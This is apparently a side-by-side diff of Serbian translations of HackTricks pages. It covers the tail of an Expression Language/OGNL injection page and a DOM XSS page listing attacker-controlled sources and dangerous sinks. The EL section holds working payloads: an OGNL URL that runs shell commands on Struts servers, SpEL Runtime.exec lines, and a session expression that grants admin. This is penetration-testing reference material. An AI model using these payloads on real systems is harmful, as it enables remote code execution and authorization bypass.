https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
``` ```
@ -207,33 +210,33 @@ T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream()) T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe') ''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
``` ```
### Pregledanje okruženja ### Inspecting the environment
* `applicationScope` - globalne aplikacijske promenljive * `applicationScope` - globalne aplikacione promenljive
* `requestScope` - promenljive zahteva * `requestScope` - promenljive zahteva
* `initParam` - promenljive inicijalizacije aplikacije * `initParam` - promenljive inicijalizacije aplikacije
* `sessionScope` - promenljive sesije * `sessionScope` - promenljive sesije
* `param.X` - vrednost parametra gde je X ime HTTP parametra * `param.X` - vrednost parametra gde je X naziv http parametra
Potrebno je da konvertujete ove promenljive u String kao: You will need to cast this variables to String like:
```bash ```bash
${sessionScope.toString()} ${sessionScope.toString()}
``` ```
#### Primer zaobilaženja autorizacije #### Primer za zaobilaženje autorizacije
```bash ```bash
${pageContext.request.getSession().setAttribute("admin", true)} ${pageContext.request.getSession().setAttribute("admin", true)}
``` ```
Aplikacija takođe može koristiti prilagođene promenljive poput: Aplikacija može koristiti i prilagođene promenljive kao što su:
```bash ```bash
${user} ${user}
${password} ${password}
${employee.FirstName} ${employee.FirstName}
``` ```
## Bypassovanje WAF-a ## WAF Bypass
Proverite [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/) Check [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)
## Reference ## References
* [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/) * [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
* [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf) * [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
@ -244,22 +247,25 @@ Proverite [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](http
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokrenut na **dark webu** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **ugroženi** od **malvera koji krade podatke**. [**WhiteIntel**](https://whiteintel.io) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je neka kompanija ili njeni klijenti bili **kompromitovani** od strane **stealer malvera**.
Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera koji krade informacije. Njihov primarni cilj je da se bore protiv preuzimanja naloga i ransomware napada koji proizlaze iz malvera koji krade informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na: Možete proveriti njihovu veb stranicu i isprobati njihov pretraživač **besplatno** na:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,28 +1,31 @@
# DOM XSS # DOM XSS
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* Da li radite u **kompaniji za sajber bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS ili preuzimanje HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## DOM Vulnerabilities ## DOM Ranljivosti
DOM ranjivosti se javljaju kada podaci iz izvora pod kontrolom napadača (kao što su `location.search`, `document.referrer`, ili `document.cookie`) nesigurno dospevaju do **sinks**. Sinks su funkcije ili objekti (npr. `eval()`, `document.body.innerHTML`) koji mogu izvršiti ili prikazati štetan sadržaj ako im se dostave zlonamerni podaci. DOM ranljivosti se javljaju kada se podaci iz izvora pod kontrolom napadača (kao što su `location.search`, `document.referrer` ili `document.cookie`) nesigurno prenose u **sinks**. Sinks su funkcije ili objekti (npr., `eval()`, `document.body.innerHTML`) koji mogu izvršiti ili prikazati štetne sadržaje ako dobiju zlonamerne podatke.
* **Izvori** su ulazi koji mogu biti manipulisani od strane napadača, uključujući URL-ove, kolačiće i web poruke. * **Izvori** su ulazi koje napadači mogu manipulisati, uključujući URL-ove, kolačiće i web poruke.
* **Sinks** su potencijalno opasne tačke gde zlonamerni podaci mogu dovesti do štetnih efekata, kao što je izvršavanje skripti. * **Sinks** su potencijalno opasne tačke gde zlonamerni podaci mogu dovesti do negativnih efekata, kao što je izvršavanje skripti.
Rizik se javlja kada podaci teku od izvora do sinka bez odgovarajuće validacije ili sanitizacije, omogućavajući napade poput XSS. Rizik nastaje kada podaci teku od izvora do sinka bez pravilne validacije ili sanitacije, omogućavajući napade poput XSS-a.
{% hint style="info" %} {% hint style="info" %}
**Možete pronaći ažuriranu listu izvora i sinkova na** [**https://github.com/wisec/domxsswiki/wiki**](https://github.com/wisec/domxsswiki/wiki) **Možete pronaći ažuriraniju listu izvora i sinkova na** [**https://github.com/wisec/domxsswiki/wiki**](https://github.com/wisec/domxsswiki/wiki)
{% endhint %} {% endhint %}
**Uobičajeni izvori:** **Uobičajeni izvori:**
@ -42,9 +45,9 @@ sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB) IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database Database
``` ```
**Uobičajeni Sifovi:** **Uobičajeni Sinks:**
| [**Otvoreno Preusmeravanje**](dom-xss.md#open-redirect) | [**Umetanje JavaScript-a**](dom-xss.md#javascript-injection) | [**Manipulacija DOM-podacima**](dom-xss.md#dom-data-manipulation) | **jQuery** | | [**Open Redirect**](dom-xss.md#open-redirect) | [**Javascript Injection**](dom-xss.md#javascript-injection) | [**DOM-data manipulation**](dom-xss.md#dom-data-manipulation) | **jQuery** |
| -------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------- | ------------------------------------------------------------- | ---------------------------------------------------------------------- | | -------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------- | ------------------------------------------------------------- | ---------------------------------------------------------------------- |
| `location` | `eval()` | `scriptElement.src` | `add()` | | `location` | `eval()` | `scriptElement.src` | `add()` |
| `location.host` | `Function() constructor` | `scriptElement.text` | `after()` | | `location.host` | `Function() constructor` | `scriptElement.text` | `after()` |
@ -56,46 +59,46 @@ Database
| `location.assign()` | `msSetImmediate()` | `someDOMElement.textContent` | `html()` | | `location.assign()` | `msSetImmediate()` | `someDOMElement.textContent` | `html()` |
| `location.replace()` | `range.createContextualFragment()` | `someDOMElement.innerText` | `prepend()` | | `location.replace()` | `range.createContextualFragment()` | `someDOMElement.innerText` | `prepend()` |
| `open()` | `crypto.generateCRMFRequest()` | `someDOMElement.outerText` | `replaceAll()` | | `open()` | `crypto.generateCRMFRequest()` | `someDOMElement.outerText` | `replaceAll()` |
| `domElem.srcdoc` | **\`\`**[**Manipulacija Lokalnim Putanjama Datoteka**](dom-xss.md#local-file-path-manipulation) | `someDOMElement.value` | `replaceWith()` | | `domElem.srcdoc` | **\`\`**[**Local file-path manipulation**](dom-xss.md#local-file-path-manipulation) | `someDOMElement.value` | `replaceWith()` |
| `XMLHttpRequest.open()` | `FileReader.readAsArrayBuffer()` | `someDOMElement.name` | `wrap()` | | `XMLHttpRequest.open()` | `FileReader.readAsArrayBuffer()` | `someDOMElement.name` | `wrap()` |
| `XMLHttpRequest.send()` | `FileReader.readAsBinaryString()` | `someDOMElement.target` | `wrapInner()` | | `XMLHttpRequest.send()` | `FileReader.readAsBinaryString()` | `someDOMElement.target` | `wrapInner()` |
| `jQuery.ajax()` | `FileReader.readAsDataURL()` | `someDOMElement.method` | `wrapAll()` | | `jQuery.ajax()` | `FileReader.readAsDataURL()` | `someDOMElement.method` | `wrapAll()` |
| `$.ajax()` | `FileReader.readAsText()` | `someDOMElement.type` | `has()` | | `$.ajax()` | `FileReader.readAsText()` | `someDOMElement.type` | `has()` |
| **\`\`**[**Manipulacija Ajax zahtevima**](dom-xss.md#ajax-request-manipulation) | `FileReader.readAsFile()` | `someDOMElement.backgroundImage` | `constructor()` | | **\`\`**[**Ajax request manipulation**](dom-xss.md#ajax-request-manipulation) | `FileReader.readAsFile()` | `someDOMElement.backgroundImage` | `constructor()` |
| `XMLHttpRequest.setRequestHeader()` | `FileReader.root.getFile()` | `someDOMElement.cssText` | `init()` | | `XMLHttpRequest.setRequestHeader()` | `FileReader.root.getFile()` | `someDOMElement.cssText` | `init()` |
| `XMLHttpRequest.open()` | `FileReader.root.getFile()` | `someDOMElement.codebase` | `index()` | | `XMLHttpRequest.open()` | `FileReader.root.getFile()` | `someDOMElement.codebase` | `index()` |
| `XMLHttpRequest.send()` | [**Manipulacija Linkova**](dom-xss.md#link-manipulation) | `someDOMElement.innerHTML` | `jQuery.parseHTML()` | | `XMLHttpRequest.send()` | [**Link manipulation**](dom-xss.md#link-manipulation) | `someDOMElement.innerHTML` | `jQuery.parseHTML()` |
| `jQuery.globalEval()` | `someDOMElement.href` | `someDOMElement.outerHTML` | `$.parseHTML()` | | `jQuery.globalEval()` | `someDOMElement.href` | `someDOMElement.outerHTML` | `$.parseHTML()` |
| `$.globalEval()` | `someDOMElement.src` | `someDOMElement.insertAdjacentHTML` | [**Umetanje JSON-a na Klijentskoj Strani**](dom-xss.md#client-side-sql-injection) | | `$.globalEval()` | `someDOMElement.src` | `someDOMElement.insertAdjacentHTML` | [**Client-side JSON injection**](dom-xss.md#client-side-sql-injection) |
| **\`\`**[**Manipulacija HTML5-skladištem**](dom-xss.md#html-5-storage-manipulation) | `someDOMElement.action` | `someDOMElement.onevent` | `JSON.parse()` | | **\`\`**[**HTML5-storage manipulation**](dom-xss.md#html-5-storage-manipulation) | `someDOMElement.action` | `someDOMElement.onevent` | `JSON.parse()` |
| `sessionStorage.setItem()` | [**XPath ubacivanje**](dom-xss.md#xpath-injection) | `document.write()` | `jQuery.parseJSON()` | | `sessionStorage.setItem()` | [**XPath injection**](dom-xss.md#xpath-injection) | `document.write()` | `jQuery.parseJSON()` |
| `localStorage.setItem()` | `document.evaluate()` | `document.writeln()` | `$.parseJSON()` | | `localStorage.setItem()` | `document.evaluate()` | `document.writeln()` | `$.parseJSON()` |
| **``**[**`Odbijanje usluge`**](dom-xss.md#denial-of-service)**``** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**Manipulacija Kolačićima**](dom-xss.md#cookie-manipulation) | | **``**[**`Denial of Service`**](dom-xss.md#denial-of-service)**``** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**Cookie manipulation**](dom-xss.md#cookie-manipulation) |
| `requestFileSystem()` | **\`\`**[**Manipulacija Dokument-Domenom**](dom-xss.md#document-domain-manipulation) | `document.implementation.createHTMLDocument()` | `document.cookie` | | `requestFileSystem()` | **\`\`**[**Document-domain manipulation**](dom-xss.md#document-domain-manipulation) | `document.implementation.createHTMLDocument()` | `document.cookie` |
| `RegExp()` | `document.domain` | `history.pushState()` | [**WebSocket-URL trovanje**](dom-xss.md#websocket-url-poisoning) | | `RegExp()` | `document.domain` | `history.pushState()` | [**WebSocket-URL poisoning**](dom-xss.md#websocket-url-poisoning) |
| [**Umetanje SQL-a na Klijentskoj Strani**](dom-xss.md#client-side-sql-injection) | [**Manipulacija Web-porukama**](dom-xss.md#web-message-manipulation) | `history.replaceState()` | `WebSocket` | | [**Client-Side SQl injection**](dom-xss.md#client-side-sql-injection) | [**Web-message manipulation**](dom-xss.md#web-message-manipulation) | `history.replaceState()` | `WebSocket` |
| `executeSql()` | `postMessage()` | \`\` | \`\` | | `executeSql()` | `postMessage()` | \`\` | \`\` |
**`innerHTML`** sif ne prihvata `script` elemente na bilo kom modernom pregledaču, niti će se događaji `svg onload` pokrenuti. To znači da ćete morati koristiti alternativne elemente poput `img` ili `iframe`. **`innerHTML`** sink ne prihvata `script` elemente u bilo kojem modernom pretraživaču, niti će `svg onload` događaji biti aktivirani. To znači da ćete morati koristiti alternativne elemente kao što su `img` ili `iframe`.
Ovaj tip XSS-a je verovatno **najteži za pronaći**, jer morate pogledati unutar JS koda, videti da li **koristi** bilo koji objekat čiju **vrednost kontrolišete**, i u tom slučaju videti da li postoji **način da se zloupotrebi** kako bi se izvršio proizvoljni JS. Ova vrsta XSS-a je verovatno **najteža za pronalaženje**, jer morate pogledati unutar JS koda, videti da li **koristi** neki objekat čija **vrednost kontrolirate**, i u tom slučaju, videti da li postoji **bilo koji način da se zloupotrebi** za izvršavanje proizvoljnog JS-a.
## Alati za pronalaženje ## Alati za pronalaženje
* [https://github.com/mozilla/eslint-plugin-no-unsanitized](https://github.com/mozilla/eslint-plugin-no-unsanitized) * [https://github.com/mozilla/eslint-plugin-no-unsanitized](https://github.com/mozilla/eslint-plugin-no-unsanitized)
* Proširenje pregledača za proveru svih podataka koji stižu do potencijalnog sifa: [https://github.com/kevin-mizu/domloggerpp](https://github.com/kevin-mizu/domloggerpp) * Ekstenzija za pretraživač za proveru svih podataka koji dolaze do potencijalnog sinka: [https://github.com/kevin-mizu/domloggerpp](https://github.com/kevin-mizu/domloggerpp)
## Primeri ## Primeri
### Otvoreno Preusmeravanje ### Open Redirect
Sa: [https://portswigger.net/web-security/dom-based/open-redirection](https://portswigger.net/web-security/dom-based/open-redirection) Sa: [https://portswigger.net/web-security/dom-based/open-redirection](https://portswigger.net/web-security/dom-based/open-redirection)
**Ranjivosti otvorenog preusmeravanja u DOM-u** se javljaju kada skripta upisuje podatke, koje napadač može kontrolisati, u sif sposoban za pokretanje navigacije preko domena. **Ranljivosti otvorenog preusmeravanja u DOM-u** se javljaju kada skripta piše podatke, koje napadač može kontrolisati, u sinku sposobnom da inicira navigaciju između domena.
Važno je razumeti da je izvršavanje proizvoljnog koda, poput **`javascript:alert(1)`**, moguće ako imate kontrolu nad početkom URL-a gde se preusmerenje dešava. Ključno je razumeti da je izvršavanje proizvoljnog koda, kao što je **`javascript:alert(1)`**, moguće ako imate kontrolu nad početkom URL-a gde se preusmeravanje dešava.
Sifovi: Sinks:
```javascript ```javascript
location location
location.host location.host
@ -113,21 +116,21 @@ XMLHttpRequest.send()
jQuery.ajax() jQuery.ajax()
$.ajax() $.ajax()
``` ```
### Manipulacija kolačića ### Manipulacija kolačićima
Od: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation) From: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation)
Ranjivosti manipulacije kolačićima zasnovane na DOM-u javljaju se kada skripta uključuje podatke, koje napadač može kontrolisati, u vrednost kolačića. Ova ranjivost može dovesti do neočekivanog ponašanja veb stranice ako se kolačić koristi unutar sajta. Dodatno, može se iskoristiti za sprovođenje napada fiksacije sesije ako je kolačić uključen u praćenje korisničkih sesija. Primarni izvor povezan sa ovom ranjivošću je: DOM-bazirane ranjivosti manipulacije kolačićima se javljaju kada skripta uključuje podatke, koje može kontrolisati napadač, u vrednost kolačića. Ova ranjivost može dovesti do neočekivanog ponašanja veb stranice ako se kolačić koristi unutar sajta. Pored toga, može se iskoristiti za izvođenje napada fiksacije sesije ako je kolačić uključen u praćenje korisničkih sesija. Primarni odvod povezan sa ovom ranjivošću je:
Izvori: Sinks:
```javascript ```javascript
document.cookie document.cookie
``` ```
### JavaScript Injekcija ### JavaScript Injection
Od: [https://portswigger.net/web-security/dom-based/javascript-injection](https://portswigger.net/web-security/dom-based/javascript-injection) From: [https://portswigger.net/web-security/dom-based/javascript-injection](https://portswigger.net/web-security/dom-based/javascript-injection)
DOM-bazne ranjivosti JavaScript injekcije se stvaraju kada skripta pokreće podatke, koje može kontrolisati napadač, kao JavaScript kod. DOM-bazirane ranjivosti za injekciju JavaScript-a nastaju kada skripta izvršava podatke, koje može kontrolisati napadač, kao JavaScript kod.
Sinks: Sinks:
```javascript ```javascript
@ -142,33 +145,35 @@ msSetImmediate()
range.createContextualFragment() range.createContextualFragment()
crypto.generateCRMFRequest() crypto.generateCRMFRequest()
``` ```
### Manipulacija dokument-domena ### Manipulacija dokument-domenom
Sa: [https://portswigger.net/web-security/dom-based/document-domain-manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation) From: [https://portswigger.net/web-security/dom-based/document-domain-manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation)
**Ranjivosti manipulacije dokument-domenom** se javljaju kada skripta postavlja svojstvo `document.domain` koristeći podatke koje napadač može kontrolisati. **Ranljivosti manipulacije dokument-domenom** se javljaju kada skripta postavlja `document.domain` svojstvo koristeći podatke koje napadač može kontrolisati.
Svojstvo `document.domain` igra **ključnu ulogu** u **sprovođenju** **politike istog porekla** od strane pregledača. Kada se dve stranice sa različitih porekla postave svoj `document.domain` na **istu vrednost**, mogu međusobno da interaguju bez ograničenja. Iako pregledači nameću određena **ograničenja** na vrednosti koje se mogu dodeliti `document.domain`, sprečavajući dodelu potpuno nepovezanih vrednosti stvarnom poreklu stranice, postoje izuzeci. Obično, pregledači dozvoljavaju korišćenje **poddomena** ili **roditeljskih domena**. Svojstvo `document.domain` igra **ključnu ulogu** u **sprovodjenju** **politike iste porekla** od strane pregledača. Kada dve stranice iz različitih porekla postave svoj `document.domain` na **istu vrednost**, mogu da komuniciraju bez ograničenja. Iako pregledači nameću određene **ograničenja** na vrednosti koje se mogu dodeliti `document.domain`, sprečavajući dodeljivanje potpuno nepovezanih vrednosti stvarnom poreklu stranice, postoje izuzeci. Obično, pregledači dozvoljavaju korišćenje **dečijih** ili **roditeljskih domena**.
Sinks: Sinks:
```javascript ```javascript
document.domain document.domain
``` ```
### Trovanje WebSocket-URL-a ### WebSocket-URL poisoning
Od: [https://portswigger.net/web-security/dom-based/websocket-url-poisoning](https://portswigger.net/web-security/dom-based/websocket-url-poisoning) From: [https://portswigger.net/web-security/dom-based/websocket-url-poisoning](https://portswigger.net/web-security/dom-based/websocket-url-poisoning)
**Trovanje WebSocket-URL-a** nastaje kada skripta koristi **kontrolisane podatke kao ciljni URL** za WebSocket konekciju. **WebSocket-URL poisoning** se dešava kada skripta koristi **kontrolisane podatke kao ciljni URL** za WebSocket vezu.
Sinks: Sinks:
Konstruktor `WebSocket` može dovesti do ranjivosti trovanja WebSocket-URL-a. `WebSocket` konstruktor može dovesti do ranjivosti WebSocket-URL poisoning.
### Manipulacija linkova ### Link manipulation
Od: [https://portswigger.net/web-security/dom-based/link-manipulation](https://portswigger.net/web-security/dom-based/link-manipulation) From: [https://portswigger.net/web-security/dom-based/link-manipulation](https://portswigger.net/web-security/dom-based/link-manipulation)
**Ranjivosti manipulacije linkova zasnovane na DOM-u** nastaju kada skripta upisuje **podatke pod kontrolom napadača ka navigacionom cilju** unutar trenutne stranice, kao što je klikabilni link ili URL za podnošenje forme. **DOM-based link-manipulation vulnerabilities** nastaju kada skripta piše **podatke koje kontroliše napadač u navigacioni cilj** unutar trenutne stranice, kao što su klikabilna veza ili URL za slanje forme.
Sinks:
```javascript ```javascript
someDOMElement.href someDOMElement.href
someDOMElement.src someDOMElement.src
@ -176,9 +181,9 @@ someDOMElement.action
``` ```
### Manipulacija Ajax zahtevima ### Manipulacija Ajax zahtevima
Od: [https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation) From: [https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation)
**Ranjivosti manipulacije Ajax zahtevima** nastaju kada skripta upisuje **podatke koje kontrolira napadač u Ajax zahtev** koji se izdaje koristeći objekat `XmlHttpRequest`. **Ranljivosti manipulacije Ajax zahtevima** nastaju kada skripta upisuje **podatke koje kontroliše napadač u Ajax zahtev** koji se izdaje koristeći `XmlHttpRequest` objekat.
Sinks: Sinks:
```javascript ```javascript
@ -188,11 +193,11 @@ XMLHttpRequest.send()
jQuery.globalEval() jQuery.globalEval()
$.globalEval() $.globalEval()
``` ```
### Manipulacija lokalnih putanja datoteka ### Manipulacija lokalnim putanjama datoteka
Sa: [https://portswigger.net/web-security/dom-based/local-file-path-manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation) From: [https://portswigger.net/web-security/dom-based/local-file-path-manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation)
**Ranjivosti manipulacije lokalnih putanja datoteka** nastaju kada skripta prosleđuje **podatke koje kontrolira napadač API-ju za rukovanje datotekama** kao parametar `filename`. Ova ranjivost može biti iskorišćena od strane napadača da konstruiše URL koji, ako ga poseti drugi korisnik, može dovesti do toga da **korisnikov pretraživač otvori ili upiše proizvoljnu lokalnu datoteku**. **Ranljivosti manipulacije lokalnim putanjama datoteka** nastaju kada skripta prosledi **podatke koje kontroliše napadač API-ju za rukovanje datotekama** kao `filename` parametar. Ovu ranljivost može iskoristiti napadač da konstruiše URL koji, ako ga poseti drugi korisnik, može dovesti do **otvaranja ili pisanja proizvoljne lokalne datoteke u korisnikovom pretraživaču**.
Sinks: Sinks:
```javascript ```javascript
@ -206,41 +211,41 @@ FileReader.root.getFile()
``` ```
### Klijentska SQL injekcija ### Klijentska SQL injekcija
Od: [https://portswigger.net/web-security/dom-based/client-side-sql-injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection) From: [https://portswigger.net/web-security/dom-based/client-side-sql-injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection)
**Klijentske SQL injekcione ranjivosti** se javljaju kada skripta uključuje **podatke koje kontrolira napadač u klijentski SQL upit na nesiguran način**. **Ranljivosti SQL injekcije na klijentskoj strani** se javljaju kada skripta uključuje **podatke koje kontroliše napadač u SQL upit na klijentskoj strani na nesiguran način**.
Sinks: Sinks:
```javascript ```javascript
executeSql() executeSql()
``` ```
### Manipulacija HTML5 skladištem ### HTML5-storage manipulation
Od: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation) From: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation)
**Ranjivosti manipulacije HTML5 skladištem** nastaju kada skripta **smešta podatke koje napadač može kontrolisati u HTML5 skladište veb pregledača** (`localStorage` ili `sessionStorage`). Iako ova radnja po sebi nije bezbednosna ranjivost, postaje problematična ako aplikacija zatim **čita smeštene podatke i obrađuje ih na nesiguran način**. To bi omogućilo napadaču da iskoristi mehanizam skladištenja za sprovođenje drugih napada zasnovanih na DOM-u, poput skriptovanja preko skripte i ubacivanja JavaScript-a. **HTML5-storage manipulation vulnerabilities** nastaju kada skripta **smešta podatke koje napadač može kontrolisati u HTML5 skladište web pretraživača** (`localStorage` ili `sessionStorage`). Iako ova akcija nije inherentno sigurnosna ranjivost, postaje problematična ako aplikacija kasnije **čita smeštene podatke i obrađuje ih na nesiguran način**. Ovo bi moglo omogućiti napadaču da iskoristi mehanizam skladištenja za izvođenje drugih DOM-baziranih napada, kao što su cross-site scripting i JavaScript injekcija.
Sinks: Sinks:
```javascript ```javascript
sessionStorage.setItem() sessionStorage.setItem()
localStorage.setItem() localStorage.setItem()
``` ```
### XPath ubrizgavanje ### XPath injekcija
Od: [https://portswigger.net/web-security/dom-based/client-side-xpath-injection](https://portswigger.net/web-security/dom-based/client-side-xpath-injection) From: [https://portswigger.net/web-security/dom-based/client-side-xpath-injection](https://portswigger.net/web-security/dom-based/client-side-xpath-injection)
**Vulnerabilnosti DOM bazirane na XPath ubrizgavanju** se javljaju kada skripta uključuje **podatke koje napadač može kontrolisati u XPath upitu**. **DOM-bazirane XPath-injekcione ranjivosti** se javljaju kada skripta uključuje **podatke koje kontroliše napadač u XPath upit**.
Sinks: Sinks:
```javascript ```javascript
document.evaluate() document.evaluate()
someDOMElement.evaluate() someDOMElement.evaluate()
``` ```
### Klijentska JSON ubrizgavanje ### Klijentska JSON injekcija
